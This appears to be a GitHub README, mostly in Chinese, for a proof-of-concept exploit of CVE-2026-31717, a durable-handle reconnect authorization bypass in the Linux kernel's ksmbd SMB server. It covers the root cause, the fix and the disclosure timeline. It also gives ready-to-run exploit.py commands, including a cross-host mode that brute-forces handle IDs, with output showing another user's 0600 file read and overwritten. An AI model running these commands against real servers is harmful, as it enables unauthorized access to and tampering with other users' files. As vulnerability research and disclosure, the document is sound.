TurtleARM/CVE-2026-31717-KSMBD-Exploit
GitHub: TurtleARM/CVE-2026-31717-KSMBD-Exploit
针对 Linux 内核 ksmbd SMB3 服务器中 durable handle 重连授权绕过漏洞(CVE-2026-31717)的完整利用工具,含 QEMU 复现环境与多模式 PoC。
Stars: 0 | Forks: 1
# CVE-2026-31717:ksmbd DHnC Durable-Handle Reconnect Access-Control Bypass
## 概述
| 字段 | 值 |
|-------|-------|
| 组件 | ksmbd (Linux 内核内置的 SMB3 服务器) |
| 受影响文件 | `fs/smb/server/oplock.c` (`smb2_check_durable_oplock`) |
| 类别 | CWE-863: Incorrect Authorization |
| 影响 | 已认证的 SMB 用户劫持另一个用户的孤立 durable handle,通过原始打开者的 `f_cred` 获得读写权限(绕过 POSIX ACL) |
| 受影响协议 | **SMB 2.1 (0x0210) 及以上** |
| 受影响版本 | Linux 6.12 → 6.19.x(引入 durable handle 的提交 `c8efcc786146`,修复之前) |
| 前置条件 | `ksmbd.conf` 中 `durable handles = yes`(非默认值) |
| CVSS 3.1 | **8.8 High** `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| 修复 | [`ksmbd: validate owner of durable handle on reconnect`](https://lore.kernel.org/linux-cve-announce/2026050124-CVE-2026-31717-f68b@gregkh/) (提交 `49110a8ce654`) |
## 根本原因
`smb2_check_durable_oplock()` 有两个分支:基于 lease 的 handle(安全的)和非 lease 的 batch-oplock handle(易受攻击的)。非 lease 分支仅检查 oplock 级别,然后 `goto out` 跳过了所有的授权步骤:ClientGUID 匹配、lease key 以及 `ksmbd_validate_name_reconnect()`。
```
// fs/smb/server/oplock.c:1852–1864 (pre-fix)
if (opinfo->is_lease == false) {
if (lctx) { ... }
if (opinfo->level != SMB2_OPLOCK_LEVEL_BATCH) {
ret = -EBADF;
}
goto out; // skips ClientGUID, lease key, filename checks
}
```
针对 DHnC (v1) 的 `parse_durable_handle_context()` 仅通过攻击者提供的 `persistent_id` 查找 handle (smb2pdu.c:2796)。Persistent ID 是通过 `idr_alloc_cyclic(..., 0, INT_MAX-1, ...)` (vfs_cache.c:618) 分配的:顺序、可预测,并且在服务器上的所有会话中是**全局的**。
一旦 `ksmbd_reopen_durable_fd()` 将孤立的 `fp` 重新绑定到攻击者的 `tcon`,攻击者的 READ/WRITE 将通过 `kernel_read(fp->filp, ...)` (vfs.c:380) 和 `kernel_write(fp->filp, ...)` (vfs.c:509) 进行。`fp->filp->f_cred` 仍然属于**原始打开者**,因此 DAC 会根据受害者的凭据进行检查,攻击者实际上借用了这些凭据。
## 攻击流程
```
1. Victim opens FILE with BATCH oplock + DHnQ context → persistent_id=N
2. Victim's connection drops without SMB2 CLOSE
→ fp->conn = NULL; handle persists in global_ft (vfs_cache.c:921)
3. Attacker authenticates as a different SMB user (different POSIX UID)
4. Attacker sends CREATE with DHnC context, persistent_id=N
→ ksmbd_lookup_durable_fd(N) returns victim's fp (no identity check)
→ smb2_check_durable_oplock() takes non-lease branch, skips all checks
→ ksmbd_reopen_durable_fd() reassigns conn/tcon to attacker
5. Attacker reads/writes FILE. kernel_read/write use fp->filp->f_cred
→ POSIX ACL is evaluated against the VICTIM, not the attacker.
```
## 为什么是 DHnC 而不是 DH2C
DH2C (durable handle reconnect v2) *也* 途经同一个易受攻击的 `smb2_check_durable_oplock()` 调用 (smb2pdu.c:3025),但是 `parse_durable_handle_context()` 额外通过 `memcmp` 对比了 128 位的 `CreateGuid` 和 `fp->create_guid` (smb2pdu.c:2763–2768)。攻击者需要通过带外方式泄露该 128 位值……这是无法暴力破解的。
因此 DHnC (v1) 是盲打利用的路径:攻击者提供的唯一标识符是 64 位的 `persistent_id`,它在一个全新的服务器上从零开始并按顺序递增。
## 场景
PoC 提供了三种模式:
| 模式 | 展示内容 |
|------|---------------|
| `acl-bypass` | 双分支对照测试:攻击者对 0600 受害者拥有的文件进行正常的 CREATE 被拒绝 → DHnC 重连成功 → 重新测试,仍然被拒绝。证明了读写操作仅通过借用的 `f_cred` 完成。 |
| `victim` | 仅阶段 1。在受害者和攻击者运行于不同主机时使用。 |
| `attack` | 仅阶段 2。在一个干净的攻击者会话中,对 `--pid-start..--pid-end` 范围进行暴力破解。 |
## 实际触发场景
ksmbd 在**任何**会话拆除时将 handle 标记为孤立(`fp->conn = NULL`, vfs_cache.c:921):正常的 LOGOFF *或* TCP 层面的 RST。PoC 默认使用 RST(通过 `SO_LINGER {1,0}`),因为这是最现实的事件:
| 事件 | 客户端 OS |
|------------------------------------------------|---------------|
| 合上盖子 / 挂起 | Win, macOS |
| 在多个 AP 间漫游 WiFi | Win, macOS |
| VPN 抖动(分流隧道重连) | 所有 |
| `cifs.ko` 挂载在一个断网的 NIC 上 | Linux |
| Office 进程在编辑中崩溃 | Win, macOS |
| SMB 客户端进程被杀死 | 所有 |
| Docker 容器通过 CIFS 的 bind-mount 重启 | Linux |
该漏洞在实践中的实际影响范围:
- **OpenWrt** 默认将 ksmbd 作为 SMB 服务器包提供;durable handle 是 LuCI 中的一个可开启选项。
- **TrueNAS Scale** (24.10+) 实验性地使用了 ksmbd。为了满足那些抱怨重连延迟的 Office/网络共享工作流,会启用 Durable handle。
- 任何**三星嵌入式 NAS 设备**,其代码路径继承了消费级存储产品。
- 任何由于管理员出于性能考虑选择配置 ksmbd 而非 smbd 的 **Linux 文件服务器**。
`durable handles = no` 是 ksmbd-tools 的默认配置,但管理员为了那些容易产生孤立 handle 的工作负载(笔记本电脑 + 不稳定 WiFi 下的 Office 应用)会将其开启。
## 复现
### 前置条件
```
sudo apt install build-essential flex bison bc libelf-dev libssl-dev \
libglib2.0-dev libnl-3-dev libnl-genl-3-dev libtool autoconf \
qemu-system-x86 busybox-static cpio python3-pip
pip3 install impacket
```
目前的 Ubuntu/Debian LTS 内核 (≤6.11) 不包含 ksmbd 的 durable-handle 支持,因此该设置使用了运行 6.19.x 内核的 QEMU。
### 设置与运行 (主要)
```
# 构建 kernel + QEMU 环境(一次性,约 5 分钟)
./setup.sh
# 终端 1:启动存在漏洞的 ksmbd 服务器
./run.sh
# 终端 2:运行 headline 场景(等待 "=== ksmbd ready ===")
python3 exploit.py acl-bypass \
--target 127.0.0.1 --port 44500 --share share \
--user victim --password Victim1 \
--user2 attacker --password2 Attacker2 \
--file secret_0600.txt
```
预期输出:
```
[+] Authenticated as 'victim' over SMB 3.0, ...
[+] Wrote 11 bytes of sensitive data
[+] TCP RST sent — handle orphaned in ksmbd
...
[+] CONTROL pre-exploit: normal CREATE → STATUS_ACCESS_DENIED ✓
[!!] HIJACKED handle at persistent_id=N
[!!] READ as attacker: b'TOP SECRET\n' (POSIX 0600 bypassed)
[!!] WROTE 24 bytes as attacker (POSIX 0600 bypassed)
[+] CONTROL post-exploit: normal CREATE → STATUS_ACCESS_DENIED ✓
File POSIX mode unchanged; the writes only succeeded because the
hijacked fp->filp carried the victim's f_cred.
```
然后在 QEMU 控制台中:
```
ls -l /tmp/smbtest/secret_0600.txt # mode 0600, owner victim
cat /tmp/smbtest/secret_0600.txt # contents: "PWNED by attacker"
```
### 协议回归
```
python3 exploit.py acl-bypass --dialect 2.1 \
--target 127.0.0.1 --port 44500 --share share \
--user victim --password Victim1 \
--user2 attacker --password2 Attacker2 \
--file secret_0600.txt
```
### 跨主机拆分(受害者和攻击者在不同机器上)
```
# 在受害者的主机上
python3 exploit.py victim --target --share share \
--user victim --password Victim1 --file secret_0600.txt
# 在攻击者的主机上
python3 exploit.py attack --target --share share \
--user attacker --password Attacker2 --pid-start 0 --pid-end 64
```
### 现有内核源码树
```
./setup.sh /path/to/linux-source # skip the kernel.org download
PORT=9445 ./run.sh # custom forwarded port
```
## 修复
该补丁向 `ksmbd_file` 添加了一个 `struct durable_owner`(包含 uid、gid 和帐户名)。当 handle 变为孤立时,会捕获所有者的身份;在重连时,`ksmbd_vfs_compare_durable_owner()` 会在 `smb2_check_durable_oplock()` 运行之前进行检查,因此来自不同 SMB 用户的 DHnC 和 DH2C 重连都会被拒绝并返回 `-EBADF`。
## 时间线
| 日期 | 事件 |
|------|-------|
| 2026-04-04 | 漏洞报告至 security@kernel.org |
| 2026-04-05 | 维护者 提供补丁 |
| 2026-04-05 | 报告者验证补丁 |
| 2026-05-01 | CVE-2026-31717 公布 |
## 贡献者
- Davide Ornaghi ([@TurtleARM](https://github.com/TurtleARM/))
- Giuseppe Caruso ([@Cyber-JA](https://github.com/Cyber-JA))
## 参考
- [CVE-2026-31717 公告](https://lore.kernel.org/linux-cve-announce/2026050124-CVE-2026-31717-f68b@gregkh/)
标签:0day挖掘, CVE-2026-31717, CWE-863, Durable Handle, EXP, ksmbd, Linux内核, PoC, POSIX ACL, SMB3, Web报告查看器, 内核安全, 安全渗透, 持久化句柄, 文件共享, 暴力破解, 权限绕过, 漏洞分析, 漏洞复现, 网络安全, 越权访问, 路径探测, 身份验证强制, 逆向工具, 隐私保护